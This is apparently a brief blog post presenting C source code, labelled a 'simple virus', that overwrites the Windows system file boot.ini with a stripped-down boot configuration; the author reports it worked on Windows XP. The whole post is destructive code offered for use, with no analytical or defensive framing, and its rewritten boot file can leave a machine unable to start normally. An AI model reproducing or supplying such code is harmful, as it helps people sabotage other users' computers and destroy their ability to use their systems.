A Simple Virus in C
Here is the code for a simple virus programmed in C.
#include <stdio.h>
#include <string.h>
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen("c:\\boot.ini", "w");
strcpy(line[0], "[boot loader]");
strcpy(line[1], "timeout=30");
strcpy(line[2], "default=multi(0)disk(0)rdisk(0)partition(1)");
strcpy(line[3], "[operating systems]");
strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1)");
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}
This program replaces the system file "boot.ini" in system drive with a new one.
This worked with me in Windows XP.
No comments:
Post a Comment